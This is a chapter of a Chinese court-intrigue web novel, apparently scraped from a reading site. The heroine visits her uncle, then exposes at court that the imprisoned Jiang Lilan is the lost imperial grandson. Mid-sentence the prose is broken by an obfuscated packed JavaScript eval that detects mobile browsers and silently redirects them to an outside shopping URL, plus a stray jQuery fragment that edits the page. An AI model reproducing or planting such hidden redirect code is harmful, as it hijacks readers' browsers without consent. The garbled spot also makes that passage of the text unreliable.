130. 揭发
    花厅里,温二叔喝了一口茶水,对坐在身旁的妻子说道:“阿芷等会就要走,你去把我给她带的东西整理一下,等会让她带走。”

    温二婶点点头,“好。”出去整理物什。

    主要是一些珍贵的玉石,自从和凉州通商往来,西域的玉石逐渐流向清阳,而温沅芷喜欢玉石,这次在庄子上有人献上来,温二叔就给收下了。

    温沅芷进了屋,朝温二叔行礼:“二叔。”

    温二叔很喜欢这个侄女,朝她笑道:“知道你就要走,坐下来,说几句话。”

    温沅芷依言坐在温二叔的另一侧,侍女奉上茶水,温沅芷浅抿一口,道:“二叔近来可好?”

    温二叔笑得很温和。

    他的长相继承了母亲,偏柔,没有棱角的温润,再加上辞官在家,养尊处优,将在官场上磨砺出来的气势去了大半,整个人像是闲云野鹤的居士。

    “我好得很,倒是我将京中一堆事撂给你,让你受累了。”

    “一家人不说两家话,都是小人挑唆的才至如此,二叔可还打算回京都任职?君上很想你。”温沅芷说道。

    温二叔摆手,“不了,好不容易出来,就让我歇息吧,等你回来,我就把家里的事给你,陪你二婶去外面游玩去。”

    温沅芷笑话他:“怕不是二叔自己喜欢玩,拿二婶当做借口吧?”

    温二叔大笑。

    客套完之后,温沅芷说道:“我有一事想询问二叔。”

    温二叔笑容微敛,道:“是想问杨芙蓉在哪里吧?”

    他虽然身在清阳,但京都的事一直有关注,对温沅芷在朝中动向,也略有了解,想当初他将京都事务交接的很全面,而她这一年在京都办事的稳妥,却还需要特意询问他的,大概就只有杨芙蓉了。

    温沅芷颔首:“当时江承之将她送走,她伤得很重,我起初以为江承之有自己的门路可以救治她,现在想起来,他哪里有什么门路,应该还是送来了清阳。”

    温二叔点头:“是,现在在你二婶的庄子上,等你们把陶宇成放了,我就让他们团聚。”

    温沅芷问道:“当时送她来的人是谁,二叔可知道?”

    温二叔摇头,神色有些凝重,“此人功夫高,我当时派人去查,他跑得很快,很快就离开了清阳,怎么?此人有问题?”

    温沅芷微微摇头。

    二叔既然决议不再涉足朝堂,温沅芷就不想再将那些事告诉二叔,言道:“此人是江承之身后的人,身份可疑,我想查一查,既然二叔不知道,那就算了,以后还有机会查清楚。”

    温二叔以为是儿女之间的小事,笑了笑。

    叔侄二人闲聊了几句,温二婶在门外听着,觉得差不多了,走进屋,“阿芷,好久不见,快让婶婶看看,哎呦,京都水土养人啊,越发标志了。”

    温沅芷笑:“二婶,好久不见,您也越发漂亮了。”

    温二婶瞪她,“都当家做主的人了,还没大没小的。”然后拉着她,“走,你二叔给你买了几块玉石,带你去瞧瞧。”

    说着,拉她去到偏屋,四下无人的地方,温二婶拉着温沅芷的手,诚恳地道谢:“去年,谢谢你。”

    温沅芷还是那句话,“二婶跟我客气什么?”朝窗外望了望,空空如也,小声道:“倒是二婶,真的相信二叔跟杨芙蓉没关系?”

    外面顿时传来重重的咳嗽声。

    吓得温沅芷声音一收。

    温二婶轻笑:“是我当时入了别人的圈套,谁能想到表姑奶奶能做这种事呢?你二叔一回来,就什么都告诉我了。”

    “我现在就是心疼这姑娘的身世,原本我打算给她找门好亲事,结果她不同意,说要等一个人,我这一问,才知道就是当初陷害你二叔的人,气得我!”

    温沅芷噗嗤一声笑,心道二叔真是胆大,什么话都敢和二婶说。

    嘴上说道:“二婶要是气不过,我就找人在牢里,给这人一顿板子,好好教训教训,给二婶出气。”

    温二婶眼睛一亮,“这个主意好。”

    外面似是传来一声绵长而又无奈的叹息。

    婶侄两对视一眼,闷头轻笑。

    稍作停顿,温沅芷真的要走了,再不出发,入夜之后就要露宿荒野,不如尽早出发,不过玉石,温沅芷没有带走,而是托温二婶替她打造几件首饰。

    温二婶说给她攒嫁妆,替她收好,才放她离开。

    离了清阳,温沅芷不作停留,如来时一样,快马加鞭,甚至到了京都,花的时间比来时还早了一个时辰。

    晨光微醺,温沅芷仰头,迎着金光暖阳,问温临:“还有多久朝会要结束?”

    温临:“还有半个时辰。”

    温沅芷颔首,抽动金鞭,闯入城门。

    今日朝会讨论的话题,依旧是要如何处置江澧兰。

    自那日温沅芷离开京都后,江澧兰就进了刑部地牢,李思随后发布诏令,令刑部、御史台、大理寺三司会审,但前提是要先草拟文书,写好前朝公主的罪证,以及江澧兰必须受审的理由。

    简而言之,就是要拖延时间,等待清阳郡君回京。

    这日朝会,李思走个形式,特意询问江澧兰的案子进展得如何。

    于是,御史台出列,率先弹劾刑部行事怠慢,关于朝云公主的罪证,迟迟上交不齐。

    刑部尚书气得脸红脖子粗,出列控诉大理寺阻止查案,将朝云公主的资料隐瞒不报。

    大理寺卿面上十分平静,就说没有找到江澧兰和朝云公主身份有关联的确凿证据,长乐公主的证词狭隘片面,不足以作为呈堂公证。

    在吵了三个早朝之后,该什么时候审判江澧兰,依旧未下定论。

    “启禀君上,清阳郡君求见。”恰逢时宜地,小内侍小步跑进大殿,禀报道。

    李思大喜:“宣。”

    “清阳郡君觐见。”小内侍的声音层层递出,传至丹墀台下,温沅芷拾级而上,一步一步,姿态庄重,面容严肃。

    “微臣叩见君上。”温沅芷屈膝跪地,行稽首礼。

    位列两旁的大臣,神色各异。

    负责捉拿江澧兰的蔡庄,眉头皱起来,中间的褶皱能夹死苍蝇。大理寺卿放下伪装地平静,几不可查地松了口气,露出闲适的神情,等着看好戏。郑相

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167473|130312||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    公垂首沉思,看不清面貌,不知是在想什么。

    剩下的大臣们,看戏的看戏,严阵以待的严阵以待,各自打起精神。

    上次清阳郡君如此隆重地出现在朝堂上,还是君上初次登基那会,后果令人记忆犹新,今日不知清阳郡君来又是为了什么。

    李思言道,“这个时候上朝会,郡君可是有事?”

    温沅芷一手拿着一个楠木盒,手心朝上,将楠木盒暴露在众人视野中,高声道:“微臣手中有两件物品,要呈给君上。”

    尚泉立刻下了台阶,双手捧住楠木盒,奉到御案上,李思看着面前的两个盒子,先扫了一眼台下的众位臣子,倏地一笑,打开盒子,是龙珠环佩。

    他拿在手中,环佩色泽光亮,玉质清润,触及手心,好似浸入温泉,暖心温润。

    众位大臣也看见了龙珠环佩,并且知道龙珠环佩的来由。

    兵部侍郎惊呼:“这是高祖当年赏赐给郡君的定亲之物,郡君这是何意?”

    温沅芷纠正道:“启禀君上,高祖当年赐婚,赏赐地是一对龙凤衔珠环佩,微臣手中拿着的是凤,而这个是龙,正是皇长孙殿下手中的龙珠环佩。”

    大殿之内顿时一阵骚动,众位大臣开始交头接耳。

    “郡君这是何意?”

    “不知道,不会要旧事重提,再谈皇家婚事?”

    “这,这个时候入主后宫,真的就不管江澧兰了?”

    “大概侯爷就是这个意思,郡君也无法违逆侯爷的安排。”

    各自猜测,郑相公却在见到环佩时,眉头狠狠地一跳,朝蔡庄使了个颜色,蔡庄收到信号,立刻出列,讥讽道:“郡君的婚事,乃是私事,有侯爷做主,何必拿到朝堂上来论?这是嫌不够耽误大家的时间?”

    有几个平日总和蔡庄穿同一条裤子的大臣,也出列道:“微臣衙门里还有许多事要处置,启禀君上,可否允许微臣先行告退?”

    李思看着几位大臣,放下手中环佩,道:“众卿别急着走,朕相信,郡君不是与大家开玩笑的人,这不是还有个盒子吗?看完再走。”

    说完,就要打开另一个盒子,郑相公眉目一沉,浑身绷紧。

    盒子一打开,李思脸上露出莫名的神色,疑惑地看了一眼温沅芷,从温沅芷扫视过来的眼神中看到一丝坚定,才拿起里面的授印,看向底座,阴面印刻着几个小篆,“太子金印”四个大字。

    李思龙躯一震。

    郑相公闭上眼,面色灰白。

    一直未出声的吏部尚书已经出列,“这是裕仁太子的授印,请问郡君,此物从何而来?”

    温沅芷说道:“启禀君上,我父亲当年从东宫救走皇长孙时,太子妃交给我父亲一件贵重物品,正是此物。”

    字字清晰地传入大殿中每个人的耳朵,蔡庄一愣,“郡君说,车骑将军救走了皇长孙殿下?皇长孙殿下现在在何处?”

    温沅芷垂首,“此人眼下就在刑部大牢,正是江澧兰。”

    此言一出,大殿哗然。

    蔡庄愁眉紧锁,看向郑相公,但是此刻的郑相公兀自沉思,束手立在朝堂之下,静默无言。